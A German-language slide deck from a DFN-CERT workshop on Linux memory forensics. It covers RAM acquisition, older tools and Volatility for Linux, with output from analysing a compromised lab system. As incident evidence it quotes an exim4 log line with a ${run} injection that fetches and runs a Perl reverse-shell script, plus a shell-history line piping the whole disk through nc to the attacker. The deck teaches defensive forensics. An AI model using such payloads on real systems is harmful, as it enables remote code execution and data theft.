Linux Arbeitsspeicheranalyse

19. DFN Cert Workshop

Peter Schulik, Jan Göbel, Thomas Schreck

Agenda

1. Warum ist Speicheranalyse unter Linux wichtig?
2. Speicherakquise
3. Speicheranalyse
4. Volatility für Linux
5. Ausblick
6. Fazit

Warum ist Speicheranalyse unter Linux wichtig?

- Herausforderungen in der heutigen Forensik:
  a. Zeit
  b. Datenmenge nicht beherrschbar
  c. Anti-Forensik
     - nicht persistente Schadsoftware, Verschlüsselung …
  d. viele Server und Mobiltelefone (Android) verwenden Linux

Warum ist Speicheranalyse unter Linux wichtig?

→**Notwendigkeit:** Analysemethode, die

a. in kleineren Datenmengen, Hinweise für eine Kompromittierung findet
b. nicht persistente Schadsoftware aufspüren kann
c. unter Linux funktioniert

→**Lösung:**

Speicherakquise

- früher: Sicherung des Arbeitsspeichers mittels /dev/mem
- Mißbrauch von /dev/mem durch Schadsoftware

  → Einschränkung des Zugriffs auf das RAM
- aufheben der Einschränkung durch neu kompilieren des Kernels
- Problem: Speicherinhalt wird bei Neustart überschrieben

Speicherakquise

- aktuell: Sicherung mittels Kernel Modul *fmem* oder *Red Hat Crash Utility*
- *fmem* erzeugt Pseudo-Device /dev/fmem
  - uneingeschränkter Zugriff auf Speicher
- Sicherung des kompletten Speichers mit *dd*
  - Größe muss angegeben werden
  - *dd if=/dev/fmem bs=1MB count=512 of=/someDirectory/memory.dmp*

Speicherakquise

- *crash* erzeugt ebenfalls ein Pseudo-Device /dev/crash
- Sicherung des Speichers mittels *dd*
  - Größe muss nicht explizit angegeben werden
  - *dd if=/dev/crash of=/someDirectory/memory.dmp*
- beide Kernel-Module verursachen Veränderungen am System

Speicherakquise

- einfachste Möglichkeit zur Speicherakquise bieten virtuelle Maschinen
- Sicherung des kompletten Arbeitsspeichers mit Hilfe des Suspended-Modes
- Speicherinhalt wird in eine Datei abgelegt
  - *VMware Workstation* erzeugt Datei mit der Endung .vmem

Speicheranalyse

- vor einigen Jahren, gab es noch keine speziellen Analyseprogramme für den Linux Hauptspeicher
- hauptsächlich Suche nach verdächtigen Zeichenketten mit Hilfe von *strings*

Speicheranalyse

- *Draugr* eines der ersten Analysewerkzeuge für Linux
- Analyse von noch laufendem Arbeitsspeicher mittels /dev/mem bzw. Speicherabbildern in Dateien
- Funktionalität beschränkt sich im Wesentlichen auf das Auflisten laufender Prozesse
- seit September 2009 wurde das Projekt nicht weiterentwickelt

Speicheranalyse

- *Volatilitux* galt lange als Linux-Equivalent zu *Volatility*
  - *Volatility* früher nur mit Windows Unterstützung
- *Volatilitux* kann Kernel Strukturen automatisch erkennen
  - keine speziellen Profile nötig
- Erkennung nicht immer zuverlässig
- auch ARM Prozessoren werden unterstützt

Speicheranalyse

- Analysefunktionalität von *Volatilitux*:
  - Anzeigen der laufenden Prozesse
  - Anzeigen aller geöffneten Dateien eines Prozesses
  - Extrahieren von Prozess Speicher
  - Extrahieren einer offenen Datei
- Projekt wird seit Dezember 2010 nicht weiterentwickelt

Volatility für Linux

- *Volatility* ist das am häufigsten verwendete Speicheranalyse-Werkzeug
- Programmiersprache Python
- frei verfügbar
- *Repository: https://volatility.googlecode.com/svn/branches/linux-support*
- seit Anfang 2011 wird neben Windows auch Linux Speicheranalyse unterstützt

Volatility für Linux

- Analysefunktionalität wird durch Plug-Ins zur Verfügung gestellt
- Plug-In-Konzept erlaubt Forensikern die einfache Einbindung weiterer Funktionen
- Beispiele für vorhandene Plug-Ins:
  - Anzeigen der laufenden Prozesse
  - Auflisten aller geöffneten Dateien
  - Anzeigen offener Netzwerkverbindungen

Volatility für Linux

- Problem im Vergleich zu Windows:
  - verschiedene Kernelversionen verwenden unterschiedliche Speicherlayouts
- Lösung durch Kernel Profile
- Kernel Profil besteht aus:
  a. System.map Datei
  b. DWARF Debug Informationen des Kernels

Volatility für Linux

- typische Fragestellungen bei einem Vorfall:
  - Welche Prozesse sind auf dem System gelaufen?
  - Welche Netzwerkverbindungen waren offen?
  - Welcher Dienst wurde angegriffen?
  - Welche Schwachstelle wurde ausgenutzt?
  - War der Angriff erfolgreich?
  - Welches Ziel hatte der Angreifer?
  - Wurden Informationen gestohlen?

Volatility für Linux

- Auflistung aller unterstützten Profile

```
forensics@ubuntu:~/linux-support$ ./volatility.py -f victoria-v8.memdump.img --profile=debian2626 --info
Volatile Systems Volatility Framework 1.4_rc1
.
.
.
PROFILES
--------
LinuxUbuntu2632    - A Profile for ubuntu 2.6.32-27
LinuxUbuntu263225  - A Profile for ubuntu 2.6.32-27
VistaSP0x86        - A Profile for Windows Vista SP0 x86
VistaSP1x86        - A Profile for Windows Vista SP1 x86
VistaSP2x86        - A Profile for Windows Vista SP2 x86
Win2K8SP1x86       - A Profile for Windows 2008 SP1 x86
Win2K8SP2x86       - A Profile for Windows 2008 SP2 x86
Win7SP0x86         - A Profile for Windows 7 SP0 x86
WinXPSP2x86        - A Profile for Windows XP SP2
WinXPSP3x86        - A Profile for windows XP SP3
centos             - A Profile for centos 2.6.9-el89
centos2618         - A Profile for centos 2.6.18-128.el5.i686
debian2626         - A Profile for debian 2.6.26-2-686
debianSlab         - A Profile for debian 2.6.26 SLAB
```

Auslesen der Hardware Konfiguration

```
forensics@ubuntu:~/linux-support$ ./volatility.py -f victoria-v8.memdump.img --profile=debian2626 linux_cpuinfo
Volatile Systems Volatility Framework 1.4_rc1
Processor    Vendor          Model
0            GenuineIntel    Intel(R) Core(TM)2 CPU         T7200  @ 2.00GHz
```

Volatility für Linux

- Auflistung aller Prozesse des Systems

```
forensics@ubuntu:~/linux-support$ ./volatility.py -f victoria-v8.memdump.img --profile=debian2626 linux_task_list_ps
Volatile Systems Volatility Framework 1.4_rc1
Name                 Pid             Uid
.
.
.
sshd                 1687            0
exim4                1942            101
cron                 1973            0
login                1990            0
getty                1992            0
getty                1994            0
getty                1996            0
getty                1998            0
getty                2000            0
bash                 2042            0
sh                   2065            0
memdump              2168            0
nc                   2169            0
```

Volatility für Linux

- Auflistung aller Netzwerkverbindungen

```
forensics@ubuntu:~/linux-support$ ./volatility.py -f victoria-v8.memdump.img --profile=debian2626 linux_netstat
Volatile Systems Volatility Framework 1.4_rc1
UDP      0.0.0.0:111    0.0.0.0:0                  portmap/1429
TCP      0.0.0.0:111    0.0.0.0:0      LISTEN      portmap/1429
UDP      0.0.0.0:769    0.0.0.0:0                  rpc.statd/1441
UDP      0.0.0.0:38921  0.0.0.0:0                  rpc.statd/1441
TCP      0.0.0.0:39296  0.0.0.0:0      LISTEN      rpc.statd/1441
UDP      0.0.0.0:68     0.0.0.0:0                  dhclient3/1624
UNIX /dev/log
UNIX /var/run/acpid.socket
TCP      0000:0000:0000:0000:0000:0000:0000:0022    0000:0000:0000:0000:0000:0000:0000:0000    LISTEN    sshd/1687
TCP      0.0.0.0:22     0.0.0.0:0      LISTEN      sshd/1687
TCP      0000:0000:0000:0000:0000:0000:0000:0025    0000:0000:0000:0000:0000:0000:0000:0000    LISTEN    exim4/1942
TCP      0.0.0.0:25     0.0.0.0:0      LISTEN      exim4/1942
TCP      192.168.56.102:43327 192.168.56.1:4444  ESTABLISHED    sh/2065
TCP      192.168.56.102:43327 192.168.56.1:4444  ESTABLISHED    sh/2065
TCP      192.168.56.102:43327 192.168.56.1:4444  ESTABLISHED    sh/2065
TCP      192.168.56.102:25    192.168.56.101:37202 CLOSE        sh/2065
TCP      192.168.56.102:25    192.168.56.101:37202 CLOSE        sh/2065
TCP      192.168.56.102:56955 192.168.56.1:8888  ESTABLISHED    nc/2169
```

Volatility für Linux

- Log-Auszug des exim4 Programms

```
forensics@ubuntu:/loop/var/log/exim4$ less mainlog
2011-02-06 15:08:13 H=(abcde.com) [192.168.56.101] temporarily rejected MAIL
<root@local.com>: failed to expand ACL string "pl 192.168.56.1 4444; sleep 1000000'"}}
${run{/bin/sh -c "exec /bin/sh -c 'wget http://192.168.56.1/c.pl -O /tmp/c.pl;
perl /tmp/c.pl 192.168.56.1 4444; sleep 1000000'"}}
```

- Auszug der Shell History

```
dd if=/dev/sda1 | nc 192.168.56.1 4444
```

Ausblick

- Ende 2011 erschien *Volatility 2.1 Alpha*
- wichtigste Änderungen:
  - 64 Bit Unterstützung
  - eigenes Pseudo-Device für Speicherakquise
  - vereinfachte Erzeugung von Kernel Profilen
- *Volatility* herunterladen:
  - *Repository: https://volatility.googlecode.com/svn/branches/lin64-support*

Ausblick

- Sicherung des Arbeitsspeichers:
  - Kernel Modul im Unterverzeichnis /tools/linux/ mit *make* kompilieren
  - Gerätetreiber erzeugen:

  insmod ./pmem.ko

  - Speicher sichern:

  dd if=/dev/pmem of=/someDirectory/memory.dmp

Ausblick

- Erzeugung eines Profils für *Volatility*:
  - Vorraussetzungen:
    - das Tool *dwarfdump*
    - zum Kernel passende System.map Datei aus dem /boot Verzeichnis
  - Profil erstellen:
    - *zip someProfile.zip /boot/System.map-2.6.32-5-amd64 module.dwarf*
    - module.dwarf wird beim kompilieren des Kernel Moduls automatisch erzeugt

Ausblick

- Ausgabe aller verfügbaren Funktionen für Linux:
  - *./vol.py --profile Linux64 --profile_file=someProfile.zip -f /someDirectory/memory.dmp -h*
- Auflistung aller Prozesse, die während der Speicherakquise liefen:
  - *./vol.py --profile Linux64 --profile_file=someProfile.zip -f /someDirectory/memory.dmp pslist*
- Auflistung aller Netzverbindungen des Linux Systems:
  - *./vol.py --profile Linux64 --profile_file=someProfile.zip -f /someDirectory/memory.dmp netstat*

Fazit

- Arbeitsspeicheranalyse wichtige Alternative zu „Stecker ziehen“
  - kleinere Datenmenge
  - schnellere Ergebnisse
  - erkennen von nicht persistenter Schadsoftware
- immer bessere Analysemöglichkeiten für Linux basierte Systeme
  - Werkzeuge laufen nicht auf allen Kernel-Versionen stabil
  - weitere Arbeit in diesem Bereich ist notwendig

Danke für Ihre Aufmerksamkeit!

Quelle: putzlowitsch.de